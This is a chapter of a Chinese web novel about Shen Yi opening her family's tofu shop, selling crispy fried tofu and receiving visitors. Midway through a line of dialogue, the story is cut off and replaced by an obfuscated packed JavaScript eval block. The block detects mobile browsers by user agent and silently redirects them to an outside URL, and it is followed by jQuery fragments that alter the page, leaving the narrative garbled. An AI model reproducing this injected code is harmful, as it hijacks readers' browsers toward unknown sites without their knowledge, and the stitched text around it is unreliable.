那边沈父沈氏做豆腐，沈意这边开始鼓捣脆皮豆腐。
先将白芝麻，孜然粉，辣椒粉，糖，醋，都倒到一个大盘里。
想着既然做了，就多做点，以防不够，取了四块豆腐，切成小块，用细布吸干水分。
取了一口小铁锅放在炉子上，倒入三分之二的油。
这边加热油的功夫，把辣椒面放进一个粗瓷碗，筷子插进锅里，周围有细泡冒出，就差不多了，先用勺子盛了几勺油，浇到辣椒面上，瞬间辣椒的爆香就被激发出来了。
顿时想吃西安油泼面了。
豆腐切的多，一锅炸不下，先炸了一锅，撤火，油温降下来，又炸了第二锅。
豆腐炸完需要晾凉，然后复炸，逼出豆腐的水分，口感更加酥脆。
脆皮豆腐的进度得等一会，她就去帮忙收拾，豆浆和水豆腐已经熬完了，装了一桶水豆腐和一桶豆浆，另一锅先放锅里温着。
早上因为忙碌，三人就凑合一口，一人一碗水豆腐和一碗豆浆，沈父将炸的辣椒油放到水豆腐里，说好吃。
吃完以后，沈父去贴对联，沈氏刷碗，收拾灶间。
沈意将豆腐复炸了一遍，倒了几勺辣椒油到兑好的调料里，搅拌均匀，然后倒入炸好的豆腐里，使豆腐都粘上酱料。
拌完尝了一口，一点都不输学校门口的小吃摊。
沈意夹了一块送到沈氏嘴边，“娘，你尝尝。”
见沈氏咀嚼了半天，看不出表情，心急问道：“怎么样？能吃惯吗？”
沈氏不是觉得不好吃，就是看了闺女做的过程，心疼，“好吃，放了那么多油，能不好吃么。”
沈意恍然，“没事娘，剩下的油，咱们炒菜就行。”
将拌好的脆皮豆腐装进托盘里，摆在前面柜台上，上面用细布盖好，防止落灰尘，掏出牛皮纸放到一边，方便包装。
快速将做脆皮豆腐使用过的灶具都收拾出来，可不想让人觉得后厨脏乱差，影响买卖。
沈意指挥，把卖豆腐的桌子放在门口，端出一板豆腐，一桶水豆腐，一桶豆浆摆在桌子上，准备工作就算做完了。
“都做好了？”五舅母在站在门口道：“我还和就五舅寻思早点来帮忙呢。”
沈氏听见声音，掀开帘子，从里面出来，“虽然开业，但是做的没那么多，吃早饭了吗。”
五舅母道：“急匆匆来了，还没吃。”
沈氏怕弟弟弟妹介意，“今日忙着做豆腐，也没做早饭，水豆腐和豆浆行吗？”
五舅在外面一样一样掀开，到处扫一眼，“豆腐坊不吃豆腐吃啥，有大酱吗，水豆腐得有大酱。”
沈父拿了两个碗走出来，“大酱能没有么，你姐自己酿的，没有外面卖的那股臭酱味，味鲜着呢。”
沈父给两人一人盛了一碗，“进屋吃，我去拿勺。”
五舅母道：“谢谢姐夫。”
到了算好的时辰，沈父放了鞭炮，五舅登梯子将牌匾上的红布揭开，沈记豆腐坊正式开业了。
随着鞭炮响，有好多好奇的人围过来瞧。
沈意开始吆喝：“今日开业大酬宾，豆腐，豆浆，水豆腐，无论买哪样都送一碗豆浆或者一碗水豆腐。”
一个胖妇人高声问道：“都什么价格？”
沈意微笑着介绍道：“豆腐三文钱一块，豆浆和水豆腐一文钱一碗。”
胖妇人道：“那等着，我回去取碗。”
旁边好奇过来观望的人逐渐增多。
一个老伯走到摊位前：“给我来一碗水豆腐，昨日在家听见外面喊，我带碗过来了。”
“好嘞，都装这一个碗里是吗？”沈意问老伯。
“都装一个碗里。”
沈意给老伯装了两份，“一文钱。”
老伯付了银钱。
陆陆续续有来买豆腐的，沈意看此情况，换了沈氏售卖，让母亲尽快上手。
随着早上出来买菜的人越来越多，铺子前也排成了队伍。
汪蓉蓉和邵志一起过来的。
邵志看着排队的人群道：“买卖还不错，人不少。”
沈意便离开豆腐摊前，到一边说话：“嗯，比想象的好，也是第一天有赠送。”
“买卖打开了就好了，不是心急的事。”邵志说着自己的经验。
汪蓉蓉笑着问：“有啥活吗，我俩是来帮忙。”
沈意十分感谢地道：“没什么活了，豆腐半夜起来先做出来了，现在我娘和五舅母卖豆腐，我爹打打零，我也闲着呢。”
汪蓉蓉看了一圈道：“那没有什么活，我俩就回牙行了，本是想帮忙才早点来的，但看你这人手够，就不留了。”
“回去吧，别错过客户，知道你俩不能拿豆腐，特意做了脆皮豆腐，给你俩装。”沈意招呼着两人和她进去。
邵志边走边道：“那敢情好，能吃你一顿不容易。”
一共没有和邵志吃过几次饭，每次邵志都抢着付钱。
她鼓鼓装了三包，给邵志一包，汪蓉蓉两包，其中一包是给叶桃的。
送走汪蓉蓉和邵志，沈意搬了板凳在门口坐着看豆腐摊。
豆腐比想象的卖的好，水豆腐最先没的，豆浆也送了两桶，最后留了四块豆腐没卖，两块给五舅拿家去，两块中午做菜。
沈意见唐辉和王悦过来了，立马站起来，迎上去。
唐辉看到往铺子里收东西问道：“怎么都收了？”
沈意道：“都卖完了，就收了。”
“买卖不错啊，早知道我们就早些来了，你开业我们也不好空手，和王悦带了一只金蝉过来，祝生意兴隆。”
王悦掀开盖着的布，“不是很大，你将就用着。”
沈意十分意外：“你俩来捧场就是我这小店的荣幸，怎么还这么见外，送如此贵重的东西。”
唐辉看着沈意眉眼带笑的样子，说着贵重，但也没有不收的意思，“贵重谈不上，没花钱，在驿站搬过来的，我俩一点心意。”
“驿站的，拿过来好吗，会不会查你俩，不会造成不好的影响吧。”
唐辉不在意道：“驿站贵重的东西多的是，这小东西也没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542287|171029||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么账目，我俩也就这点便利了。”
“你说没问题我就当没问题了。”沈意从王悦手里接过金蝉，“谢谢你俩了。”
王悦开玩笑道：“我俩这铺子还指望你给赚银钱呢，可不得好好巴结，我那铺子什么时候能卖？”
“急不得，过了这个冬天，明年开春就帮你俩卖。”
唐辉打断，“怎么等那么久？”
沈意解释暂时不出售的缘由：“冬日对于卖房子本身就是淡季，再加上铺子都是毛坯，没有土炕烧火或者生炉子，里面冷，影响带看效果。”
“铺子卖的时间越长，拖着卖不出去就越难卖，还卖不上价，况且明年开春这边的铺子慢慢养起来，都开业了，对于铺子价格就更好。”
唐辉道：“你是行家，我们没有你懂，听你的。”
沈意将金蝉摆在柜台一角，“这个位置可以吗？”
唐辉看了看，“可以。”
沈意抽了牛皮纸，“给你俩一人包一包脆皮豆腐，闲着没事当零食吃，自己家做的。”
王悦道：“看着不错啊，我俩就收了。”
沈意包了两大包，又塞了竹签子放里面，才给两个人。
沈父和沈氏要去买肉，招待弟弟和弟妹。
沈意瞧了一眼没吱声，空手而来，又吃又喝还得拿走，有时候真不是很理解，这样的人为什么还要当做上宾，可能是血缘关系，反而蒙蔽双眼看不清人的品质。
她虽叫爹和娘，但是真正意义上和沈父沈氏没有什么关系，这些人才是他们真正的亲人，她管也管不了，铺子也买了，买卖也还可以，算是对得起占了原主身子了。
此后她和沈家的来往才是真的少了，沈家父母怎么高兴就怎么办吧。
***
下午沈意回到牙行，刚进门汪蓉蓉第一句话就问，豆腐卖的怎么样。
沈意心情不错，“都卖完了。”
汪蓉蓉也替她高兴，“那还不错啊，明日可以多做点。”
“开业有赠送，里外里赚的也不多，差不多就可以了，不做那么多了。”
“确实是，辛苦不？”汪蓉蓉问道。
沈意感叹道：“别提，半夜起来忙活，辛苦要死，比咱们宣传还累，我主要是晚睡不行起早也不行，熬不住。”
汪蓉蓉看沈意表情，可能卖豆腐真的是辛苦钱，“太早起来，我也熬不住，所以不管做房牙赚多赚少，只要有房牙一日，就一直这个活计。”忽然想到：“对了，明日开早会，你别迟到。”
她们很少开会，开会就是有重要事件，沈意问道：“新项目下来了？”
“可能，没说，但是明日下午能开月钱。”汪蓉蓉满满期待，大业坊卖了好几套，这个月能开不少。
想到开钱，沈意的心情也好转不少，“最近铺子装修，买东西，我这钱花的七七八八了，钱庄没有存钱的日子，心里是一点不踏实，这回开了钱，都存起来，我一文不动。”
汪蓉蓉道：“我也不动，大额都存起来，也不知道我以后还能不能每个月赚这么多银钱了。”